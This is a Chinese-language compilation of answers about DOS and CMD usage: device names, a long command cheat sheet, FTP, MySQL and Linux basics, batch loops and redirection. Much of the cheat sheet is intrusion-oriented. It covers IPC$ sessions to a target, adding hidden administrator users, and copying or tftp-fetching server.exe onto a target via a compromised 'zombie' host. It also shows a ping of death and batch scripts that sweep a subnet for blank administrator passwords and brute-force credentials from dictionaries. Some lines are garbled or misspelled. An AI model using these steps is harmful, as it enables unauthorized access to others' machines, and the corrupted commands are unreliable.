第二, 與rem 不同的是, ::後的字元行在執行時不會回顯, 無論是否用echo on打開命令行回顯狀態, 因為命令解釋器不認為他是一個有效的命令行, 就此點來看, rem 在某些場合下將比 :: 更為適用; 另外, rem 可以用於 config.sys 文件中.
也可以使用以下的用法:
if exist command
device 是指DOS系統中已載入的設備, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具體的內容會因硬軟體環境的不同而略有差異, 使用這些設備名稱時, 需要保證以下三點:
1. 該設備確實存在(由軟體虛擬的設備除外)
2. 該設備驅動程序已載入(aux, prn等標准設備由系統預設定義)
3. 該設備已准備好(主要是指a: b: ..., com1..., lpt1...等)
可通過命令 mem/d | find "device" /i 來檢閱你的系統中所載入的設備
另外, 在DOS系統中, 設備也被認為是一種特殊的文件, 而文件也可以稱作字元設備; 因為設備(device)與文件都是使用句柄(handle)來管理的, 句柄就是名字, 類似於文件名, 只不過句柄不是應用於磁碟管理, 而是應用於內存管理而已, 所謂設備載入也即指在內存中為其分配可引用的句柄.
⑹ 新手CMD的入門基本常識
我搜集的CMD命令如下net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名密碼/add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件 del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
$\svv.exe">\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IPput c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 文件名 列印文本文件 ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md目錄名 創建目錄
replace 源文件要替換文件的目錄 替換文件
ren 原文件名新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況 IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。 Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd..回到上一層目錄,注意cd 與..之間有空格。cd/返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K) 附:批處理命令與變數 1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3 (set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1} command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關 IN (set):指在(set)中取值;DO command :指執行command 參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。 /L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。
⑺ 如何對CMD窗口進行輸入輸出重定向
將當前目錄切換到redirect所在磁碟(如果你系統裝在C盤,redirect也在C盤就不用切換了),輸入 redirect > a.txt
(文本文件名任意,空格可選(win XP),但好像只能中文吧),然後就可以輸入字元串了,回車之後就可以去C盤根目錄去找a.txt了,如果redirect不在根目錄,要連其路徑一起輸入(如D:\\fliename\\redirect > a.txt)(但是a.txt還在根目錄)
⑻ dos 內容重定向符 >和>>
有沒有辦法把顯示在命令行窗口中的幫助信息保存下來呢?
答案是肯定的,並且有不止一種答案。
稍微繁瑣一點的辦法就是復制命令行窗口中的信息,然後粘貼到文本中保存起來。這個操作比較繁瑣的:在命令行窗口點擊右鍵,然後選擇「標記」,用滑鼠拉出復制范圍,然後敲回車,最後,粘貼到文本中去。
高效的辦法就是:使用重定向符號,把原本輸出到cmd窗口中的信息重定向到文本文件中去。
重定向符號有兩個:>和>>。它們的作用都是改變各種提示信息的輸出方向,把提示信息輸出到指定的地方去——各種提示信息默認是輸出到屏幕上去的。例如:tree
/?>help.txt,這條命令語句就把
tree
命令的幫助信息重定向到了help.txt文件中,help>nul
就把
help
命令的提示信息重定向到了空設備中去(nul表示空設備)。
想看看cmd中都有哪些基本命令嗎?在cmd窗口中輸入
help
就可以看到了;如果想把這些基本命令信息保存下來,請使用
help>d:\list.txt
,然後,到D盤根目錄下找到list.txt文件打開即可。
>和>>雖然都起到重定向提示信息的作用,但是,它們的作用稍有差別。單個的>表示以覆蓋方式重定向提示信息,也就是如果目的地原來有內容,將把原來的內容清除掉,用新內容填充;>>表示以追加的方式重定向提示信息,也就是說,如果目的地原來有內容,原有的內容將保持不變,在原有內容之後追加新內容。例如:假設d:\test.txt中的內容是:I
Love
batch。那麼,在cmd窗口中,分別使用如下兩條語句:echo
me,too>d:\test.txt和echo
me,too>>d:\test.txt,將會發現,使用第一條語句之後,test.txt中只有一行內容:me,too,而使用第二條語句之後,test.txt中將有兩條內容,分別是I
Love
batch和me,too。